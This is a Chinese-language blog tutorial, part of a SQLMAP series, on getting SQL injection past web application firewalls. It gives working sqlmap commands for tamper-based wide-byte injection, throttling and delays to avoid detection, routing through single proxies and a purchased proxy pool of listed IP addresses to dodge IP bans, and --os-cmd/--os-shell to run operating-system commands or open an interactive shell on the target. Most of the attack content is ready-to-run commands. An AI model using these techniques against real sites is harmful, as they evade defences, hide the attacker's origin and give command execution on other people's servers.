当前位置:网站首页>SQLMAP使用教程(四)实战技巧三之绕过防火墙
SQLMAP使用教程(四)实战技巧三之绕过防火墙
2022-07-07 03:22:00 【Aτθ】
目前很多网站都使用waf对网站进行保护,在渗透测试过程中,很多的操作都会被拦截,在测试SQL注入时,waf会对请求过来的流量进行拦截,
导致SQLMAP请求的内容无法到达目标,SQLMAP无法判断目标是否存在注入,waf对恶意的攻击请求进行拦截,拦截会拉入黑名单,导致攻击者
访问不到目标。无法进行安全检测。
一、查看temper模块
sqlmap --list-tamper
二、宽字节注入
sqlmap -u "http://192.168.127.131/sql/Less-32/?id=1" --dbms mysql --tamper "unmagicquotes.py" -v 4 --current-user
三、设置线程大小
在遇到waf的时候,如果并发过大,会认为是cc攻击,ip会被封堵。
--threads=1 设置线程为1
四、设置http请求延时
--delay=DELAY 设置每个 HTTP请求的延迟秒数。
五、使用代理注入
sqlmap -u "http://192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name --dbms mysql -v 1 --proxy=http://192.168.1.107:4455
六、使用代理池注入
购买代理池之后,获取代理保存到文件内,比如:proxy.txt
123.73.208.166:46603
123.73.63.29:46603
123.73.63.84:46603
112.123.40.42:40806
183.47.94.248:38090
121.237.149.88:13804
114.99.108.71:23359
123.73.209.246:46603
123.73.63.132:46603
119.55.253.202:39730
--proxy-file 从文件中加载代理列表。
sqlmap -u "http://192.168.0.136:7766/Less-32/?id=1" --dbms mysql --tamper "unmagicquotes.py" -v 1 --proxy-file=proxy.txt
七、sqlmap命令执行
--os-cmd=OSCMD 执行操作系统命令
--os-shell 调出交互式操作系统 shell
注入点的当前用户是dba时,使用以上两个命令,一个是执行命令,一个是调用交互操作系统shell
1、sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --os-cmd="net user"
2、sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --os-shell
使用--os-shell命令会弹出一个交互shell的界面,可以输入命令,如果可以回显就会返回命令执行的信息。
边栏推荐
- Databinding exception of kotlin
- After the promotion, sales volume and flow are both. Is it really easy to relax?
- oracle如何备份索引
- Answer to the second stage of the assignment of "information security management and evaluation" of the higher vocational group of the 2018 Jiangsu Vocational College skills competition
- Learning records on July 4, 2022
- MySQL binlog related commands
- 2018年江苏省职业院校技能大赛高职组“信息安全管理与评估”赛项任务书第二阶段答案
- from . onnxruntime_ pybind11_ State Import * noqa ddddocr operation error
- Jetpack compose is much more than a UI framework~
- Matlab tips (30) nonlinear fitting lsqcurefit
猜你喜欢
Use of completable future
This article introduces you to the characteristics, purposes and basic function examples of static routing
父组件传递给子组件:Props
Answer to the second stage of the assignment of "information security management and evaluation" of the higher vocational group of the 2018 Jiangsu Vocational College skills competition
$parent(获取父组件) 和 $root(获取根组件)
JDBC database connection pool usage problem
MySQL SQL的完整处理流程
LVS+Keepalived(DR模式)学习笔记
main函数在import语句中的特殊行为
品牌·咨询标准化
随机推荐
readonly 只读
How to share the same storage among multiple kubernetes clusters
Stack Title: nesting depth of valid parentheses
Bus消息总线
父组件传递给子组件:Props
华为机试题素数伴侣
大咖云集|NextArch基金会云开发Meetup来啦
freeswitch拨打分机号源代码跟踪
toRefs API 与 toRef Api
Anr principle and Practice
化工园区危化品企业安全风险智能化管控平台建设四大目标
Special behavior of main function in import statement
leetcode 509. Fibonacci number
A slow SQL drags the whole system down
linux系统rpm方式安装的mysql启动失败
Leetcode t1165: log analysis
Prime partner of Huawei machine test questions
Maze games based on JS
SolidWorks的GB库(钢型材库,包括铝型材、铝管等结构)安装及使用教程(生成铝型材为例)
MYSQL----导入导出&视图&索引&执行计划